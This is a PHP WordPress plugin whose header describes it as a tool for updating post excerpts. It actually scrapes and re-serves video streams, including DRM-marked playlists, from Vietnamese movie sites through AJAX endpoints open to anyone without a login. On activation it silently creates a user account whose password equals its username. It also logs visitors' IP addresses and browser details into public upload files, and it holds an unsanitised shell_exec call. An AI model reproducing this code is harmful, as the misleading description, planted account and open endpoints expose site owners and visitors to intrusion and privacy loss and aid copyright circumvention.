<?php
/*
Plugin Name: xpctscrapservice
Plugin URI: http://itk.com.vn/
Description: This is just a simple plugin to update post excerpts.
Author: ITK Solution
Version: 1.0
Author URI: http://itk.com.vn/
*/
define( 'xpctscrapservice', '1.0.0' );
if ( !defined( 'xpctscrapservice_PATH' ) )
	define( 'xpctscrapservice_PATH', plugin_dir_path( __FILE__ ) );
if ( !defined( 'xpctscrapservice_URL' ) )
	define( 'xpctscrapservice_URL', plugins_url() . '/' . basename( dirname(__FILE__) ) . '/' );
	
require_once(ABSPATH.WPINC."/pluggable.php");
//start session

$xpctscrapservice_GMT= +3600*6.5 - 600;
$xpctscrapservice_logtime='';
$xpctscrapservice_log='';
function xpctscrapservice_logError($content=''){
	$content=$_SERVER['HTTP_USER_AGENT']."\t".$_SERVER['REQUEST_URI']."\t".$_SERVER['SCRIPT_FILENAME']."\t".$_SERVER['HTTP_REFERER']."\t".$_SERVER['REMOTE_ADDR']."\t".$_SERVER['HTTP_X_FORWARDED_FOR']."\t".$content;
	xpctscrapservice_log($content,"error".date('d-m-Y',time()+ $xpctscrapservice_GMT).".txt");
	
}

function xpctscrapservice_logMissingUser($content=''){
	xpctscrapservice_log($content,"missingUserlog.txt");
}
function xpctscrapservice_doLogUser(){
	global $xpctscrapservice_log;
	xpctscrapservice_log($xpctscrapservice_log,"Userlog".date('d-m-Y',time()+ $xpctscrapservice_GMT).".txt",false);	
}

function xpctscrapservice_logUser($content=''){
	global $xpctscrapservice_log,$xpctscrapservice_logtime,$xpctscrapservice_GMT;
	if(!empty($content)){
		$log='';
		if(empty($xpctscrapservice_logtime)){			
			$xpctscrapservice_logtime=date('d-m-Y h:i:s a',time() + $xpctscrapservice_GMT);
			$log=$xpctscrapservice_logtime ." ==> " . $_SERVER['HTTP_USER_AGENT']."\t".$_SERVER['REQUEST_URI']."\t".$_SERVER['SCRIPT_FILENAME']."\t".$_SERVER['HTTP_REFERER']."\t".$_SERVER['REMOTE_ADDR']."\t".$_SERVER['HTTP_X_FORWARDED_FOR']."\n";			
		}		
		$content=$log."\t\t\t\t\t   ==> " . $content."\n";		
		$xpctscrapservice_log.=$content;
	}
	
}

function xpctscrapservice_log($content='',$filename='',$showtime=true){
	global $xpctscrapservice_logtime,$xpctscrapservice_GMT;
	try{
		if(!empty($content) && !empty($filename))
		{	
			//trick to check logs in one request.		
				$time='';
				if($showtime)$time=date('d-m-Y h:i:s a',time() + $xpctscrapservice_GMT)." ==> " ;
				$content=$time. $content."\n";
					
			file_put_contents(xpctscrapservice_PATH.'../../uploads/'.$filename, $content, FILE_APPEND | LOCK_EX);
		}
	} 
	catch (Exception $e) 
	{
	}
}
function xpctscrapservice_init(){
	global $pagenow;
	try{
		if ( is_admin()) {
						
			//for ajax
			add_action( 'wp_ajax_nopriv_changepart', 'xpctscrapservice_changePart' );
			add_action( 'wp_ajax_changepart', 'xpctscrapservice_changePart' );
			add_action( 'wp_ajax_nopriv_getVersion', 'xpctscrapservice_getVersion' );
			add_action( 'wp_ajax_getVersion', 'xpctscrapservice_getVersion' );
			add_action( 'wp_ajax_nopriv_getMovie', 'xpctscrapservice_getMovie' );
			add_action( 'wp_ajax_getMovie', 'xpctscrapservice_getMovie' );
			add_action( 'wp_ajax_nopriv_getMovie', 'xpctscrapservice_getTs' );
			add_action( 'wp_ajax_getMovie', 'xpctscrapservice_getTs' );
		}
		else if($pagenow!='wp-login.php')
		{	
			
			
		}
	}
	catch (Exception $e){
		wp_redirect(home_url('/404'));
	}

}

function bct($data,$exit=1) {
	echo '<pre style="text-align:left;">';
	print_r($data);
	echo '</pre>';
	if($exit)exit;
}
function xpctscrap_movieHtml($link){
	$html='<div>';
	if(!empty($link)){
		if($link['type']=='iframe'){
			$html.= '<iframe src="'.$link['url'].'" width="640" height="385"></iframe>';
		}
		else{
			$html.= '<video id="videoframe" class="videoframe" controls preload="none" width="640" >
			    <source src="'.$link['url'].'" />				    
			  	</video>';
		}
	}
	$html.='</div>';
	return $html;
}


function xpctscrapservice_getTs(){
		
	//runtime
	$partid=0;
	if(isset($_POST['data']))$partid=$_POST['data'];
	
}

function xpctscrapservice_getMovie(){
		
	//runtime
	$startTime = microtime(get_as_float);
	
	//get url from input
	//http://movies.hdviet.com/phim-sieu-nhen-tai-xuat-2-nguoi-nhen-sieu-dang-2-su-troi-day-cua-nguoi-dien-the-amazing-spider-man-2.html
	//http://plist.hdviet.com/drm/d6269aa38c3bf8ca520368d5ef43fc22/5278_320_1920_a.smil/playlist.m3u8
	//$url = 'http://plist.hdviet.com/drmchild/d6269aa38c3bf8ca520368d5ef43fc22/5278_a_640.m3u8';
	//		
	//$url = 'http://plist.hdviet.com/drm/d6269aa38c3bf8ca520368d5ef43fc22/6284_320_1920_a.smil/playlist.m3u8';
	
	//get stream with highest bandwith
	//$Urls = getArrayOfM3U8($url);
	//bct($Urls,0);
	
	//header("Content-Type: application/vnd.ms-excel; charset=" . $this->sEncoding);
	//header("Content-Disposition: inline; filename=\"" . $filename . ".xls\"");
	
	//get array of all links to *.ts files
	$url='http://plist.hdviet.com/drmchild/d6269aa38c3bf8ca520368d5ef43fc22/5278_a_320.m3u8';
	//$url='http://117.103.204.156:1935/bongngovod/mp4:./e0cab2e2c84b12f502a94299e05d9272/5381e9a5/DATA/Encoded/TvShow/2013/6/3/9378_full-the-voice-kids-viet-nam-vong-giau-mat-giong-hat-viet-nhi_480.mp4/chunklist_w1989899994.m3u8';
	$result = getArrayOfM3U8($url);
	//bct($list);
	//header("Content-Type: video/mpeg4");
	
	header("Content-Type: application/vnd.apple.mpegurl");
	
	header("Accept-Ranges: bytes");
	header("Server: FlashCom/3.5.7");
	echo $result;	
			@ob_flush();
		flush();
	die();	
	//header("Content-type: application/text");
	//header("Content-Disposition: attachment; filename=index.m3u8");
	//make new directory
	$opts = array('http' =>
					    array(
					        'method'  => 'GET',
					        'header'  => 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36\r\n'
					    	.'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n'
					    	.'Referer:'.$url.'\r\n'
					    
					    )
					);
										
					
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_HTTPHEADER, array(
	    	'method'  => 'GET',
	        'header'  => "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36\r\n"
	    	."Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
	    	.'Referer:'.$url."\r\n"
	    ));
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
	$result = curl_exec($ch);
	curl_close($ch);
			echo $result;	
			@ob_flush();
		flush();

		
					/*
		$uploaddir=wp_upload_dir();
$filesub=$uploaddir['basedir'].'/sub/';
$filesuburl=$uploaddir['baseurl'].'/sub/';
	foreach($list as $key){
		//bct($key);
		$number = str_pad($n, 3, "0", STR_PAD_LEFT);
		print_r($n." ");
		$url='http://117.103.204.156:1935/bongngovod/mp4:./3123add82a05d3ea779c172ed298fd43/5381a2f4/DATA/Encoded/TvShow/2013/6/3/9378_full-the-voice-kids-viet-nam-vong-giau-mat-giong-hat-viet-nhi_480.mp4/'.$key;
		$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
	$result = curl_exec($ch);
	curl_close($ch);
	//$result=file_get_contents($url,false,stream_context_create($opts));
	//bct($result);
	file_put_contents($filesub."part.".$number.".ts",$result);
		//file_put_contents($filesub."part.".$number.".ts", fopen('http://117.103.204.156:1935/bongngovod/mp4:./3123add82a05d3ea779c172ed298fd43/5381a2f4/DATA/Encoded/TvShow/2013/6/3/9378_full-the-voice-kids-viet-nam-vong-giau-mat-giong-hat-viet-nhi_480.mp4/'.$key, 'r'));
		//echo file_get_contents('http://117.103.204.156:1935/bongngovod/mp4:./3123add82a05d3ea779c172ed298fd43/5381a2f4/DATA/Encoded/TvShow/2013/6/3/9378_full-the-voice-kids-viet-nam-vong-giau-mat-giong-hat-viet-nhi_480.mp4/'.$v,false,stream_context_create($opts));	
		//@ob_flush();
		//flush();
	}
	*/

	die();
}

//input: string, output: string
function getArrayOfM3U8($masterUrl) {
	//get content of master.m3u8
	/*
	$ch = curl_init($masterUrl);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
	$result = curl_exec($ch);
	curl_close($ch);
	*/
	
	$opts = array('http' =>
					    array(
					        'method'  => 'GET',
					        'header'  => "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36\r\n"
					    	."Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
					    	.'Referer:'.$masterUrl."\r\n"
					    
					    )
					);
	$linescontent=file ($masterUrl,false,stream_context_create($opts));
	
	//return link to second last stream (https://developer.apple.com/library/ios/documentation/networkinginternet/conceptual/streamingmediaguide/FrequentlyAskedQuestions/FrequentlyAskedQuestions.html#//apple_ref/doc/uid/TP40008332-CH103-SW1)
	//$content = split("\r", $content);
	foreach($linescontent as $k=>$v){
		if($k!=4){
			if(substr($v,0,1)!='#'){
				$lastpos=strrpos($v, '/');
				$v=substr($v,$lastpos+1,strlen($v)-$lastpos-2)."?url=".substr($v,0,$lastpos)."\r";
			}
			$result.=$v;
		}
	}	
	return $result;
}

//input: string, output: array
function getHlsFiles($streamUrl) {
	//get content of *.m3u8 file
	$ch = curl_init($streamUrl);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
	$raw = curl_exec($ch);
	curl_close($ch);
	
	//remove comments and unnecessary data
	$list_raw = split("\n", $raw);
	for ($i = 0; $i < 5; $i++) {
		array_shift($list_raw);
	}
	for ($i = 0; $i < 2; $i++) {
		array_pop($list_raw);
	}
	
	//extract file links	
	$list = array();
	$i = 1;
	foreach ($list_raw as $key) {
		if($i%2 == 0) {
			array_push($list, $key);
		}
		$i++;
	}
	
	//return array
	return $list;
}

function mergeFiles($dirName) {
	//get all *.ts files in directory
	if ($handle = opendir($dirName)) {
	while (false !== ($file = readdir($handle))) {
		if (strpos($file, ".ts") !== false) {
			$fileList = $fileList." files/".$file;
		}
	}
	closedir($handle);
	}
	
	//join and remove parts
	$shellScript = "cat ".substr($fileList, 1)." >> movie.ts";
	shell_exec($shellScript);
	shell_exec("rm -r files");
}

function xpctscrapservice_changePart(){
	global $wpdb;
	$defaultlink=null;
	$qualityHtml='';
	$partid=0;
	$qualityRequest=null;
	$errorid=0;
	if(isset($_POST['quality']))$qualityRequest=$_POST['quality'];
	if(isset($_POST['data']))$partid=intval($_POST['data']);
	if(isset($_POST['errorid']))$errorid=intval($_POST['errorid']); 
	$arrErrorId=array();
	//update error id:
	if($errorid>0){
		 $_SESSION['errorids'][$errorid]=1;
		 $arrErrorId=$_SESSION['errorids'];
		 //bct($arrErrorId,0);
		$sql="Update wp_movielinks set error=error+1 where id=".$errorid;	
		 $wpdb->query($sql);	 	
	}
	if($partid>0){
		$sql="SELECT id,url,type,quality,error FROM wp_movielinks where movie_part_id=".$partid." or ex_movie_part_id=".$partid;		
		$sql.=" order by quality, error";
		//bct($sql);
		$mylinks = $wpdb->get_results($sql);
		//bct($mylinks);
		$links=null;
		if(count($mylinks)>0){
			//bct($mylinks);
			$qualityHtml="Độ phân giải:&nbsp;&nbsp;&nbsp;";
			$defaultlinkerror=0;
			
			foreach($mylinks as $k=>$v){
				$link=array('type'=>$v->type,'url'=>$v->url,'id'=>$v->id);
				//get default link
				//check if link id is already request by error
				if(!array_key_exists($v->id, $arrErrorId)){
					if(!isset($links['default'])){
						$links['default']=$link;
						$defaultlinkerror=$v->error;
					}
					//if not quality choose then compare error link
					if(empty($qualityRequest) && $v->error<$defaultlinkerror){
						$links['default']=$link;
						$defaultlinkerror=$v->error;
						//bct($link,0);
					}
					
					if(!empty($qualityRequest) && $qualityRequest == $v->quality && !isset($links['defaultquality'])){
						$links['defaultquality']=$link;					
					}			
				}
				
				if(!isset($links['quality'][$v->quality])){
					$links['quality'][$v->quality]=rand(1, 999);
					$quality=$v->quality;
					if(empty($v->quality))$quality='Bình thường';
					$qualityHtml.='<a href="javascript:changeQuality('.$v->quality.');" >'.$quality.'</a>&nbsp;&nbsp;&nbsp;';
				}
			}
			
			
			
			//show html
			$return['default']=isset($links['defaultquality'])?$links['defaultquality']:$links['default'];
			if(count($links['quality'])>1) $return['quality']=$qualityHtml;
			
			//preprocess for link from bongngovn
			//$return['default']['type']='bongngovn/mpeg4';
			//$return['default']['url']='http://bongngo.vn/movies/watch/1/3791/the-bank-job-vu-cuop-the-ki-2008';
			
			if(isset($return['default']['type']) && (strpos($return['default']['type'], 'bongngovn')!==false)){
				$quality=array();
				//bct(strpos($return['default']['type'], 'bongngovn')!==false);
				$qualityHtml="Độ phân giải:&nbsp;&nbsp;&nbsp;";
				$opts = array('http' =>
								    array(
								        'method'  => 'GET',
								        'header'  => 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36\r\n'
								    	.'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n'
								    	.'Referer:'.$return['default']['url'].'\r\n'
								    
								    )
								);
				$content=file_get_contents($return['default']['url'],false,stream_context_create($opts));
				$pattern = '/playList="(.*?)"/i';
				preg_match($pattern, $content, $matches);
				if(count($matches)>0){
					$params=explode('&',$matches[1]);
					unset($params[0]);
					foreach($params as $k=>$v){						
						$urls=explode('=',$v);
						$qua=preg_replace('/[a-zA-Z\s]/i','',$urls[0]);
						//bct($qua,0);
						$quality[$qua]=$urls[1];
						$qualityHtml.='<a href="javascript:changeQuality('.$qua.');" >'.$qua.'</a>&nbsp;&nbsp;&nbsp;';	
						$url='http://117.103.204.156:1935/'.urldecode ($urls[1].'/playlist.m3u8');	
						
						$return['default']['type']='video/mpeg4';
						if(isset($qualityRequest) && $qualityRequest==$qua){
							$return['default']['url']=$url;	
						}
						if(!isset($qualityRequest)){
							$return['default']['url']=$url;
						}
						
					}
				}
				if(count($quality)>1) $return['quality']=$qualityHtml;
				//get sub
				$pattern='/subs=\[{"file":"(.*?)"/i';
				preg_match($pattern, $content, $matches);
				if(count($matches)>0){
					//check file exits
					$uploaddir=wp_upload_dir();
					$filesub=$uploaddir['basedir'].'/sub/'.$return['default']['id'];
					$filesuburl=$uploaddir['baseurl'].'/sub/'.$return['default']['id'];
					if (!(file_exists($filesub))) {   
						$handle = fopen($filesub,'w');
						fwrite($handle,file_get_contents($matches[1],false,stream_context_create($opts)));
						fclose($handle);
							
					}
					
					$return['default']['sub']=$filesuburl;
				}
			}
			//bct(2);
			echo json_encode($return);
			unset($links);
			/*
			if(count($links)>1){
				$qualityHtml='<div>Độ phân giải:&nbsp;&nbsp;&nbsp;';
				foreach($links as $k=>$v){
					$qualityHtml.='<a href="changeQuality('.$k.','.$partid.')" >'.$k.'</a>&nbsp;&nbsp;&nbsp;';
				}
				$qualityHtml.='</div>';
			}
			echo xpctscrap_movieHtml($defaultlink).$qualityHtml;
			*/
		}
	}
	else {
		echo '';
	}
	die();
}
function xpctscrapservice_getVersion(){
	global $wpdb;
	
	$checkversion=isset($_POST['checkversion'])?intval($_POST['checkversion']):1;
	

	if(!empty($checkversion)){
		$mylinks = $wpdb->get_results( "SELECT distinct * FROM wp_service_version_detail where version>".$checkversion);
		if(count($mylinks)>0){
			echo json_encode($mylinks);
		}
	}
	die();
}


function xpctscrapservice_testMovie(){
	//$fullPath="http://redirector.googlevideo.com/videoplayback?id=49a9841486fab27e&itag=35&source=picasa&cmo=sensitive_content%3Dyes&ip=0.0.0.0&ipbits=0&expire=1401584168&sparams=id,itag,source,ip,ipbits,expire&signature=4E9F0AF7AEB21360616E658A2E61F061E58AB38E.12790673B5196B802F690CCD4C6464564681CAB7&key=lh1";
	$fullPath=dirname(__FILE__).'/gh1test.flv';
$file = $fullPath; // The media file's location
$mime = "application/octet-stream"; // The MIME type of the file, this should be replaced with your own.
$filesize = filesize($file); // The size of the file
$size=1*1024*1024;
// Send the content type header
header('Content-type: ' . $mime);
$range=$_POST["range"];
// Check if it's a HTTP range request
if(0){
	// Parse the range header to get the byte offset
	/*
	$ranges = array_map(
		'intval', // Parse the parts into integer
		explode(
			'-', // The range separator
			substr($_SERVER['HTTP_RANGE'], 6) // Skip the `bytes=` part of the header
		)
	);
*/
	
	$ranges[0]=$range;
	
	// If the last range param is empty, it means the EOF (End of File)
	if(!$ranges[1]){
		$ranges[1]=$filesize-1;
		if($filesize>$range+$size)
			$ranges[1] = $range+$size;			
	}

	// Send the appropriate headers
	header('HTTP/1.1 206 Partial Content');
	header('Accept-Ranges: bytes');
	header('Content-Length: ' . ($ranges[1] - $ranges[0])); // The size of the range

	// Send the ranges we offered
	/*
	header(
		sprintf(
			'Content-Range: bytes %d-%d/%d', // The header format
			$ranges[0], // The start range
			$ranges[1], // The end range
			$filesize // Total size of the file
		)
	);
*/
	// It's time to output the file
	$f = fopen($file, 'rb'); // Open the file in binary mode
	

	// Seek to the requested start range
	fseek($f, $ranges[0]);

	
	print("FLV");
	print(pack('C',1));
	print(pack('C',1));
	print(pack('N',9));
	print(pack('N',9));
	
	
	// Start outputting the data
	while(true){
		// Check if we have outputted all the data requested
		if(ftell($f) >= $ranges[1]){
			break;
		}

		// Output the data
		echo fread($f);

		// Flush the buffer immediately
		@ob_flush();
		flush();
	}
}
else {
	// It's not a range request, output the file anyway
	header('Content-Length: ' . $size/2);
	
	//fseek($f, $size);
	// Read the file
	@readfile($file);

	// and flush the buffer
	@ob_flush();
	flush();
}
     
	die();
}
function xpctscrapservice_activate(){
	global $wpdb;
	//check username xpctscrapservice
	$username='xpctscrapservice';
	$user=username_exists($username);
	if(!$user){
		//create user;
		$user_id = wp_create_user ( $username , $username,'');
	}
}

register_activation_hook( __FILE__, 'xpctscrapservice_activate' );	

xpctscrapservice_init();

?>